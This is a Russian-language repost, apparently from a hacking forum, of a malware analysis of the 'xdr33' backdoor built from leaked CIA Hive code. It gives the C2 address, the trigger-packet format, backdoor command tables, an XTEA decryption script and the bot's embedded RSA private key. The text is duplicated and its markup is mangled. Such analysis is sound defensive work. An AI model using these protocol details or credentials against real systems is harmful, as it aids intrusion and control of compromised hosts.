ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов
Обзор
21 октября 2022 года система honeypot лаборатории 360Netlab перехватила подозрительный ELF-файл ee07a74d12c0bb3594965b51d0e45b6f, который распространялся через уязвимость F5 с нулевым обнаружением VT, наша система заметила, что он взаимодействует с IP 45.9.150.144, используя SSL с поддельными сертификатами Касперского, это привлекло наше внимание. После дальнейшего поиска мы подтвердили, что этот образец был адаптирован из утечки исходного кода сервера проекта Hive из ЦРУ. Это первый случай, когда мы поймали вариант набора для атак CIA HIVE в дикой природе, и мы назвали его xdr33 на основе встроенного сертификата Bot-side CN=xdr33. Подводя итог, можно сказать, что xdr33 - это бэкдор, рожденный проектом CIA Hive, основная цель которого - сбор конфиденциальной информации и обеспечение плацдарма для последующих вторжений. С точки зрения сетевого взаимодействия, xdr33 использует алгоритм XTEA или AES для шифрования исходного трафика, и использует SSL с включенным режимом аутентификации клиент-сертификат для дальнейшей защиты трафика; с точки зрения функций, есть две основные задачи: маяк и триггер, из которых маяк периодически сообщает конфиденциальную информацию об устройстве жестко закодированному маяку C2 и выполняет выданные им команды, а триггер отслеживает трафик сетевой карты для выявления определенных сообщений, скрывающих триггер C2, и при получении таких сообщений устанавливает связь с триггером C2 и ожидает выполнения выданных им команд.
Функциональная схема показана ниже.
Hive использует макрос BEACON_HEADER_VERSION для определения указанной версии, которая имеет значение 29 в ветви Master исходного кода и значение 34 в xdr33, так что, возможно, xdr33 уже прошел несколько раундов итеративных обновлений. По сравнению с исходным кодом HIV, xdr33 был обновлен в следующих 5 областях:
Эти модификации xdr33 не очень сложны в плане реализации, и в сочетании с тем, что уязвимость, использованная в этом распространении, является N-day, мы склонны исключить возможность того, что ЦРУ продолжало совершенствовать просочившийся исходный код, и считаем, что это результат заимствования просочившегося исходного кода группой кибер-атак.
Полезная нагрузка при доставке уязвимости
md5 захваченной нами полезной нагрузки - ad40060753bc3a1d6f380a5054c1403a, а ее содержимое показано ниже.
Код прост и понятен, и его основная цель заключается в следующем
Анализ образца
Мы захватили только один образец xdr33 для архитектуры X86, и его основная информация приведена ниже.
Проще говоря, когда xdr33 запускается на скомпрометированном устройстве, он сначала расшифровывает всю конфигурационную информацию, затем проверяет, есть ли у него права root/admin, если нет, он печатает "Недостаточно прав. попробуйте еще раз... " и выход; в противном случае инициализируются различные параметры времени выполнения, такие как C2, PORT, интервал времени выполнения и т.д. Наконец, две функции beacon_start и TriggerListen используются для открытия двух задач Beacon и Trigger.
В данной статье в основном анализируется реализация Beacon и Trigger с точки зрения бинарной инверсии; в то же время мы также сравниваем и анализируем исходный код, чтобы увидеть, какие изменения произошли.
Расшифровка информации о конфигурации
xdr33 расшифровывает информацию о конфигурации следующим фрагментом кода decode_str, его логика очень проста, т.е. инверсия байт за байтом.
В IDA видно, что в decode_str много перекрестных ссылок, всего 152. Чтобы помочь в анализе, мы реализовали сценарий IDAPython Decode_RES в приложении для расшифровки информации о конфигурации.
Результаты расшифровки показаны ниже, включая Beacon C2 45.9.150.144, подсказки во время выполнения, команды для просмотра информации об устройстве и т. д.
0x01: Сбор информации
Запрос MAC по SIOCGIFCON
SystemUpTime
Собирает время работы системы через /proc/uptime
Информация о процессах и сетевых подключениях
Соберите информацию о процессе, сетевой карте, сетевом подключении и маршрутизации, выполнив следующие 4 команды
Для того чтобы различать информацию о различных устройствах, Hive разработал ADD_HDR, который определен следующим образом, а "3, 4, 5, 6" на рисунке выше представляет различные типы заголовков.
Что именно представляют собой "3, 4, 5, 6"? Это зависит от определения типов заголовков в исходном коде ниже. xdr33 расширен на этой основе, с двумя новыми значениями 0 и 9, представляющими Sha1[:32] MAC и PID xdr33 соответственно.
Некоторая информация, собранная xdr32 на виртуальной машине, показана ниже, и видно, что она содержит информацию об устройстве с хедером 0,1,2,7,9,3.
Стоит отметить, что type=0, Sha1[:32] of MAC, что означает, что он занимает первые 32 байта MAC SHA1. В качестве примера возьмем mac на рисунке выше, процесс его расчета выглядит следующим образом.
Когда вся информация об устройстве будет объединена, используйте bzip, чтобы сжать ее и добавить 2 байта beacon_header_versionи 2 байта информации об ОС в заголовке.
Процесс связи между xdr33 и Beacon C2 состоит из следующих 4 шагов, и детали каждого шага будут подробно проанализированы ниже.
Двусторонняя SSL-аутентификация требует, чтобы Bot и C2 подтверждали личность друг друга, на уровне сетевого трафика очевидно, что Bot и C2 запрашивают сертификат друг друга и проверяют процесс.
Автор xdr33 использует шаблоны kaspersky.conf и thawte.conf в исходном репозитории для генерации необходимого сертификата бота, сертификата C2 и сертификата CA.
Сертификат ЦС, сертификат бота и PrivKey жестко закодированы в xdr32 в формате DER.
Сертификат бота можно просмотреть с помощью openssl x509 -in Cert -inform DER -noout -text, где CN=xdr33, откуда и происходит
Ты можешь использовать openssl s_client -connect 45.9.150.144:443чтобы увидеть сертификат C2. bot, сертификаты C2 маскируются под относящиеся к касперскому, таким образом снижая подозрительность сетевого трафика
Сертификаты ЦС показаны ниже. Исходя из действительности 3 сертификатов, мы предполагаем, что начало этой деятельности после 2022.10.7.

После установления связи SSL между Bot и C2 Bot запрашивает ключ XTEA у C2 с помощью следующего фрагмента кода.
Логика обработки такая.
Бот использует XTEA KEY, полученный на шаге 2, для шифрования информации об устройстве и передачи ее C2. поскольку информация об устройстве велика, ее обычно нужно отправлять порциями, Bot отправляет до 4052 байт за раз, а C2 отвечает количеством принятых байтов.
Также стоит отметить, что шифрование XTEA используется только на шаге 3, а последующий шаг 4 использует только набор шифрования с согласованием SSL для сетевого трафика и больше не использует XTEA.
После сообщения информации об устройстве, C2 отправляет 8 байтов номера задачи N этого цикла Боту, если N равно 0, он будет спать в течение определенного времени и войдет в следующий цикл Beacon Task; если нет, он отправит 264 байта задачи. бот получает задание, разбирает его и выполняет соответствующую инструкцию.
Поддерживаемые инструкции показаны в следующей таблице.
Пример сетевого трафика
Фактический трафик шага 2, сгенерированный xdr33
Зашифрованную информацию об устройстве можно расшифровать с помощью следующего кода, а расшифрованные данные 00 22 00 14 42 5A 68 39, который содержит beacon_header_version + os + bzip magic, и предыдущий анализ может соответствовать по одному.
Используйте вызов функции socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )чтобы установить RAW SOCKET для захвата IP-сообщений, а затем следующий фрагмент кода для обработки IP-сообщений, вы можете видеть, что Tirgger поддерживает TCP, UDP, а максимальная длина полезной нагрузки сообщения составляет 472 байта. Такая реализация перехвата трафика увеличит нагрузку на ЦП, на самом деле использование BPF-фильтра на сокетах будет работать лучше.
0x2: Checksum Trigger packets
TCP и UDP сообщения, удовлетворяющие требованию длины, проверяются далее с помощью той же функции check_payload.
check_payload выглядит следующим образом:
Логику обработки можно представить следующим образом.
Пока можно определить, что Trigger message formatс оставляет
0x3: Полезная нагрузка триггера контрольной суммы
Если триггерное сообщение проходит контрольную сумму, функция check_trigger продолжает проверять триггерную полезную нагрузку.
Логику обработки можно увидеть следующим образом
Затем вычисляется SHA1 ключа в полезной нагрузке триггера и сравнивается с жестко закодированным SHA1. 46a3c308401e03d3195c753caa14ef34a3806593в Боте. Если он равен, это означает, что Trigger Payload также допустим по содержанию, поэтому мы можем перейти к последнему шагу, установить связь с C2 в Trigger Payload и дождаться выполнения выданной им команды.
Формат Trigger Payload можно определить следующим образом.
0x4: выполнение команды триггера C2.
После того, как триггерное сообщение проходит контрольную сумму, бот активно связывается с C2, указанным в полезной нагрузке триггера, и ожидает выполнения инструкций, выданных C2.
Поддерживаемые инструкции показаны в следующей таблице.
Стоит отметить, что Trigger C2 отличается от Beacon C2 деталями связи; после установления SSL-туннеля Bot и Trigger C2 используют обмен ключами Диффи-Хеллмана для установления общего ключа, который используется в алгоритме AES для создания второго уровня шифрования.
Для проверки корректности обратного анализа Trigger части, Патчим значение SHA1 xdr33, заполняем SHA1 NetlabPatched,Enjoy!и реализуйте код GenTrigger в приложении для генерации триггерных сообщений типа UDP.

Запускаем Патч на виртуальной машине 192.168.159.133после образца xdr33 построение C2 для 192.168.159.128:6666Trigger Payload и отправляется на 192.168.159.133 в виде UDP. окончательный результат выглядит следующим образом, вы можете увидеть xdr33 в имплантированном хосте после получения триггерного сообщения UDP, и мы ожидали того же, запустили запрос на связь с предустановленным триггером C2, круто!
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов
Обзор
21 октября 2022 года система honeypot лаборатории 360Netlab перехватила подозрительный ELF-файл ee07a74d12c0bb3594965b51d0e45b6f, который распространялся через уязвимость F5 с нулевым обнаружением VT, наша система заметила, что он взаимодействует с IP 45.9.150.144, используя SSL с поддельными сертификатами Касперского, это привлекло наше внимание. После дальнейшего поиска мы подтвердили, что этот образец был адаптирован из утечки исходного кода сервера проекта Hive из ЦРУ. Это первый случай, когда мы поймали вариант набора для атак CIA HIVE в дикой природе, и мы назвали его xdr33 на основе встроенного сертификата Bot-side CN=xdr33. Подводя итог, можно сказать, что xdr33 - это бэкдор, рожденный проектом CIA Hive, основная цель которого - сбор конфиденциальной информации и обеспечение плацдарма для последующих вторжений. С точки зрения сетевого взаимодействия, xdr33 использует алгоритм XTEA или AES для шифрования исходного трафика, и использует SSL с включенным режимом аутентификации клиент-сертификат для дальнейшей защиты трафика; с точки зрения функций, есть две основные задачи: маяк и триггер, из которых маяк периодически сообщает конфиденциальную информацию об устройстве жестко закодированному маяку C2 и выполняет выданные им команды, а триггер отслеживает трафик сетевой карты для выявления определенных сообщений, скрывающих триггер C2, и при получении таких сообщений устанавливает связь с триггером C2 и ожидает выполнения выданных им команд.
Функциональная схема показана ниже.
Hive использует макрос BEACON_HEADER_VERSION для определения указанной версии, которая имеет значение 29 в ветви Master исходного кода и значение 34 в xdr33, так что, возможно, xdr33 уже прошел несколько раундов итеративных обновлений. По сравнению с исходным кодом HIV, xdr33 был обновлен в следующих 5 областях:
- Добавлены новые инструкции CC
- Обертывание или расширение функций
- Структуры были переупорядочены и расширены
- Формат сообщения триггера
- Добавление операций CC в задачу Beacon.
Эти модификации xdr33 не очень сложны в плане реализации, и в сочетании с тем, что уязвимость, использованная в этом распространении, является N-day, мы склонны исключить возможность того, что ЦРУ продолжало совершенствовать просочившийся исходный код, и считаем, что это результат заимствования просочившегося исходного кода группой кибер-атак.
Полезная нагрузка при доставке уязвимости
md5 захваченной нами полезной нагрузки - ad40060753bc3a1d6f380a5054c1403a, а ее содержимое показано ниже.
Код прост и понятен, и его основная цель заключается в следующем
- Загрузить следующий этап примера и замаскировать его под /command/bin/hlogd.
- Установить службу logd для обеспечения персистентности.
Анализ образца
Мы захватили только один образец xdr33 для архитектуры X86, и его основная информация приведена ниже.
Код:
MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
Проще говоря, когда xdr33 запускается на скомпрометированном устройстве, он сначала расшифровывает всю конфигурационную информацию, затем проверяет, есть ли у него права root/admin, если нет, он печатает "Недостаточно прав. попробуйте еще раз... " и выход; в противном случае инициализируются различные параметры времени выполнения, такие как C2, PORT, интервал времени выполнения и т.д. Наконец, две функции beacon_start и TriggerListen используются для открытия двух задач Beacon и Trigger.
В данной статье в основном анализируется реализация Beacon и Trigger с точки зрения бинарной инверсии; в то же время мы также сравниваем и анализируем исходный код, чтобы увидеть, какие изменения произошли.
Расшифровка информации о конфигурации
xdr33 расшифровывает информацию о конфигурации следующим фрагментом кода decode_str, его логика очень проста, т.е. инверсия байт за байтом.
В IDA видно, что в decode_str много перекрестных ссылок, всего 152. Чтобы помочь в анализе, мы реализовали сценарий IDAPython Decode_RES в приложении для расшифровки информации о конфигурации.
Результаты расшифровки показаны ниже, включая Beacon C2 45.9.150.144, подсказки во время выполнения, команды для просмотра информации об устройстве и т. д.
Beacon Task
Основная функция Beacon заключается в периодическом сборе информации о PID, MAC, SystemUpTime, процессах и сетевых устройствах; затем используйте алгоритм bzip, XTEA, чтобы сжать и зашифровать информацию об устройстве, и сообщить C2; наконец, дождитесь выполнения команд0x01: Сбор информации
Запрос MAC по SIOCGIFCON
SystemUpTime
Собирает время работы системы через /proc/uptime
Информация о процессах и сетевых подключениях
Соберите информацию о процессе, сетевой карте, сетевом подключении и маршрутизации, выполнив следующие 4 команды
Для того чтобы различать информацию о различных устройствах, Hive разработал ADD_HDR, который определен следующим образом, а "3, 4, 5, 6" на рисунке выше представляет различные типы заголовков.
Код:
typedef struct __attribute__ ((packed)) add_header {
unsigned short type;
unsigned short length;
} ADD_HDR;
Что именно представляют собой "3, 4, 5, 6"? Это зависит от определения типов заголовков в исходном коде ниже. xdr33 расширен на этой основе, с двумя новыми значениями 0 и 9, представляющими Sha1[:32] MAC и PID xdr33 соответственно.
Некоторая информация, собранная xdr32 на виртуальной машине, показана ниже, и видно, что она содержит информацию об устройстве с хедером 0,1,2,7,9,3.
Стоит отметить, что type=0, Sha1[:32] of MAC, что означает, что он занимает первые 32 байта MAC SHA1. В качестве примера возьмем mac на рисунке выше, процесс его расчета выглядит следующим образом.
Код:
mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43
sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805
sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640
Когда вся информация об устройстве будет объединена, используйте bzip, чтобы сжать ее и добавить 2 байта beacon_header_versionи 2 байта информации об ОС в заголовке.
0x03: сетевая связь
Процесс связи между xdr33 и Beacon C2 состоит из следующих 4 шагов, и детали каждого шага будут подробно проанализированы ниже.
- Двусторонняя SSL-аутентификация
- Получить ключ XTEA
- Сообщить информацию о зашифрованном XTEA устройстве C2
- Выполнять команды, отправленные C2
Шаг 1: Двусторонняя SSL-аутентификация
Двусторонняя SSL-аутентификация требует, чтобы Bot и C2 подтверждали личность друг друга, на уровне сетевого трафика очевидно, что Bot и C2 запрашивают сертификат друг друга и проверяют процесс.
Автор xdr33 использует шаблоны kaspersky.conf и thawte.conf в исходном репозитории для генерации необходимого сертификата бота, сертификата C2 и сертификата CA.
Сертификат ЦС, сертификат бота и PrivKey жестко закодированы в xdr32 в формате DER.
Сертификат бота можно просмотреть с помощью openssl x509 -in Cert -inform DER -noout -text, где CN=xdr33, откуда и происходит
Ты можешь использовать openssl s_client -connect 45.9.150.144:443чтобы увидеть сертификат C2. bot, сертификаты C2 маскируются под относящиеся к касперскому, таким образом снижая подозрительность сетевого трафика
Сертификаты ЦС показаны ниже. Исходя из действительности 3 сертификатов, мы предполагаем, что начало этой деятельности после 2022.10.7.

Шаг 2: Получите ключ XTEA
После установления связи SSL между Bot и C2 Bot запрашивает ключ XTEA у C2 с помощью следующего фрагмента кода.
Логика обработки такая.
- Бот отправляет 64 байта данных на C2 в формате «длина строки длины информации об устройстве (xor 5) + строка длины информации об устройстве (xor 5) + случайные данные».
- Бот получает 32 байта данных от C2 и получает от него 16 байт XTEA KEY, эквивалентный код Python для получения KEY выглядит следующим образом.
Код:XOR_KEY=5 def get_key(rand_bytes): offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15 return rand_bytes[(offset+1):(offset+17)]
Шаг 3: Сообщите C2 информацию о зашифрованном устройстве XTEA.
Бот использует XTEA KEY, полученный на шаге 2, для шифрования информации об устройстве и передачи ее C2. поскольку информация об устройстве велика, ее обычно нужно отправлять порциями, Bot отправляет до 4052 байт за раз, а C2 отвечает количеством принятых байтов.
Также стоит отметить, что шифрование XTEA используется только на шаге 3, а последующий шаг 4 использует только набор шифрования с согласованием SSL для сетевого трафика и больше не использует XTEA.
Шаг 4: Ожидание команды выполнения (новая функция, добавленная xdr33)
После сообщения информации об устройстве, C2 отправляет 8 байтов номера задачи N этого цикла Боту, если N равно 0, он будет спать в течение определенного времени и войдет в следующий цикл Beacon Task; если нет, он отправит 264 байта задачи. бот получает задание, разбирает его и выполняет соответствующую инструкцию.
Поддерживаемые инструкции показаны в следующей таблице.
| Показатель | Функция |
|---|---|
| 0x01 | Скачать файл |
| 0x02 | Выполнить CMD с поддельным именем "[kworker/3:1-events]" |
| 0x03 | Обновлять |
| 0x04 | Загрузить файл |
| 0x05 | Удалить |
| 0x08 | Запустить оболочку |
| 0x09 | Прокси-сервер Socket5 |
| 0x0b | Обновить BEACONINFO |
Пример сетевого трафика
Фактический трафик шага 2, сгенерированный xdr33
Взаимодействие на шаге 3 и трафик на шаге 4
Какую информацию мы можем получить из этого??
- Длина строки длины информации об устройстве, 0x1 ^ 0x5 = 0x4
- Длина информации об устройстве, 0x31,0x32,0x37,0x35 соответственно xor 5 дает 4720
- ключ 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
- C2 подтвердит длину информации об устройстве, сообщенную BOT, 4052+668 = 4720, что соответствует второй точке
- Количество задач в этом цикле 00 00 00 00 00 00 00, т.е. задачи нет, значит, никакой конкретной задачи на 264 байта выдаваться не будет.
Зашифрованную информацию об устройстве можно расшифровать с помощью следующего кода, а расшифрованные данные 00 22 00 14 42 5A 68 39, который содержит beacon_header_version + os + bzip magic, и предыдущий анализ может соответствовать по одному.
Код:
import hexdump
import struct
def xtea_decrypt(key,block,n=32,endian="!"):
v0,v1 = struct.unpack(endian+"2L", block)
k = struct.unpack(endian+"4L",key)
delta,mask = 0x9e3779b9,0xffffffff
sum = (delta * n) & mask
for round in range(n):
v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
sum = (sum - delta) & mask
v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
return struct.pack(endian+"2L",v0,v1)
def decrypt_data(key,data):
size = len(data)
i = 0
ptext = b''
while i < size:
if size - i >= 8:
ptext += xtea_decrypt(key,data[i:i+8])
i += 8
return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")
hexdump.hexdump(decrypt_data(key,enc_buf))
Триггер
Основная функция триггера — прослушивание всего трафика и ожидание IP-сообщения триггера в определенном формате. Как только сообщение и полезная нагрузка триггера, скрытые в сообщении, проходят уровни проверки, бот устанавливает связь с C2 в полезной нагрузке триггера и ожидает выполнения отправленных инструкций.0x1: прослушивание трафика
Используйте вызов функции socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )чтобы установить RAW SOCKET для захвата IP-сообщений, а затем следующий фрагмент кода для обработки IP-сообщений, вы можете видеть, что Tirgger поддерживает TCP, UDP, а максимальная длина полезной нагрузки сообщения составляет 472 байта. Такая реализация перехвата трафика увеличит нагрузку на ЦП, на самом деле использование BPF-фильтра на сокетах будет работать лучше.
0x2: Checksum Trigger packets
TCP и UDP сообщения, удовлетворяющие требованию длины, проверяются далее с помощью той же функции check_payload.
check_payload выглядит следующим образом:
Логику обработки можно представить следующим образом.
- Используйте алгоритм CRC16/CCITT-FALSE для вычисления значения CRC16 смещения от 8 до 92 в сообщении, чтобы получить crcValue.
- Значение смещения crcValue в сообщении получается crcValue % 200+ 92, crcOffset
- Проверьте, равны ли данные в crcOffset в сообщении crcValue, если они равны, перейдите к следующему шагу.
- Проверьте, являются ли данные в crcOffset+2 в сообщении целым числом, кратным 127, если да, перейдите к следующему шагу.
- Trigger_Payload зашифрован, начальная позиция crcOffset+12, длина 29 байт. начальная позиция Xor_Key - crcValue% 55+8, XOR два байта за байтом, мы получаем Trigger_Paylaod
Пока можно определить, что Trigger message formatс оставляет
0x3: Полезная нагрузка триггера контрольной суммы
Если триггерное сообщение проходит контрольную сумму, функция check_trigger продолжает проверять триггерную полезную нагрузку.
Логику обработки можно увидеть следующим образом
- Возьмите последние 2 байта полезной нагрузки триггера и запишите их как crcRaw.
- Установите последние 2 байта полезной нагрузки триггера в 0 и рассчитайте его CRC16, который называется crcCalc.
- Сравните crcRaw и crcCalc, если они равны, это означает, что полезная нагрузка триггера структурно допустима.
Затем вычисляется SHA1 ключа в полезной нагрузке триггера и сравнивается с жестко закодированным SHA1. 46a3c308401e03d3195c753caa14ef34a3806593в Боте. Если он равен, это означает, что Trigger Payload также допустим по содержанию, поэтому мы можем перейти к последнему шагу, установить связь с C2 в Trigger Payload и дождаться выполнения выданной им команды.
Формат Trigger Payload можно определить следующим образом.
0x4: выполнение команды триггера C2.
После того, как триггерное сообщение проходит контрольную сумму, бот активно связывается с C2, указанным в полезной нагрузке триггера, и ожидает выполнения инструкций, выданных C2.
Поддерживаемые инструкции показаны в следующей таблице.
| Показатель | Функция |
|---|---|
| 0x00,0x00а | Выход |
| 0x01 | Скачать файл |
| 0x02 | Выполнить CMD |
| 0x04 | Загрузить файл |
| 0x05 | Удалить |
| 0x06 | Неисправность |
| 0x08 | Запустить ОБОЛОЧКУ |
| 0x09 | ПРОКСИ SOCKET5 |
| 0x0b | Обновить BEACONINFO |
Стоит отметить, что Trigger C2 отличается от Beacon C2 деталями связи; после установления SSL-туннеля Bot и Trigger C2 используют обмен ключами Диффи-Хеллмана для установления общего ключа, который используется в алгоритме AES для создания второго уровня шифрования.
Эксперимент
Для проверки корректности обратного анализа Trigger части, Патчим значение SHA1 xdr33, заполняем SHA1 NetlabPatched,Enjoy!и реализуйте код GenTrigger в приложении для генерации триггерных сообщений типа UDP.

Запускаем Патч на виртуальной машине 192.168.159.133после образца xdr33 построение C2 для 192.168.159.128:6666Trigger Payload и отправляется на 192.168.159.133 в виде UDP. окончательный результат выглядит следующим образом, вы можете увидеть xdr33 в имплантированном хосте после получения триггерного сообщения UDP, и мы ожидали того же, запустили запрос на связь с предустановленным триггером C2, круто!
IOC
sample
Код:
[/HEADING][/HEADING]
[HEADING=2]ee07a74d12c0bb3594965b51d0e45b6f[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]patched sample[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]af5d2dfcafbb23666129600f982ecb87[/HEADING]
[HEADING=2][HEADING=2]
Код:
[/HEADING][/HEADING]
[HEADING=2]ee07a74d12c0bb3594965b51d0e45b6f[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]patched sample[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]af5d2dfcafbb23666129600f982ecb87[/HEADING]
[HEADING=2][HEADING=2]
C2
Код:
[/HEADING][/HEADING]
[HEADING=2]45.9.150.144:443[/HEADING]
[HEADING=2][HEADING=2]
Код:
[/HEADING][/HEADING]
[HEADING=2]45.9.150.144:443[/HEADING]
[HEADING=2][HEADING=2]
BOT Private Key
Код:
[/HEADING][/HEADING]
[HEADING=2]-----BEGIN RSA PRIVATE KEY-----[/HEADING]
[HEADING=2]MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ[/HEADING]
[HEADING=2]mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je[/HEADING]
[HEADING=2]o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI[/HEADING]
[HEADING=2]4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK[/HEADING]
[HEADING=2]yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut[/HEADING]
[HEADING=2]90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO[/HEADING]
[HEADING=2]NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG[/HEADING]
[HEADING=2]aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE[/HEADING]
[HEADING=2]49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/[/HEADING]
[HEADING=2]KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf[/HEADING]
[HEADING=2]0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk[/HEADING]
[HEADING=2]Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb[/HEADING]
[HEADING=2]ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu[/HEADING]
[HEADING=2]YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/[/HEADING]
[HEADING=2]zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8[/HEADING]
[HEADING=2]aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI[/HEADING]
[HEADING=2]hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd[/HEADING]
[HEADING=2]+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC[/HEADING]
[HEADING=2]7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi[/HEADING]
[HEADING=2]FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj[/HEADING]
[HEADING=2]Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet[/HEADING]
[HEADING=2]KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf[/HEADING]
[HEADING=2]7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD[/HEADING]
[HEADING=2]poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+[/HEADING]
[HEADING=2]7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID[/HEADING]
[HEADING=2]-----END RSA PRIVATE KEY-----[/HEADING]
[HEADING=2]
Код:
[/HEADING][/HEADING]
[HEADING=2]-----BEGIN RSA PRIVATE KEY-----[/HEADING]
[HEADING=2]MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ[/HEADING]
[HEADING=2]mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je[/HEADING]
[HEADING=2]o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI[/HEADING]
[HEADING=2]4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK[/HEADING]
[HEADING=2]yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut[/HEADING]
[HEADING=2]90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO[/HEADING]
[HEADING=2]NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG[/HEADING]
[HEADING=2]aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE[/HEADING]
[HEADING=2]49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/[/HEADING]
[HEADING=2]KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf[/HEADING]
[HEADING=2]0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk[/HEADING]
[HEADING=2]Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb[/HEADING]
[HEADING=2]ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu[/HEADING]
[HEADING=2]YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/[/HEADING]
[HEADING=2]zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8[/HEADING]
[HEADING=2]aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI[/HEADING]
[HEADING=2]hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd[/HEADING]
[HEADING=2]+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC[/HEADING]
[HEADING=2]7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi[/HEADING]
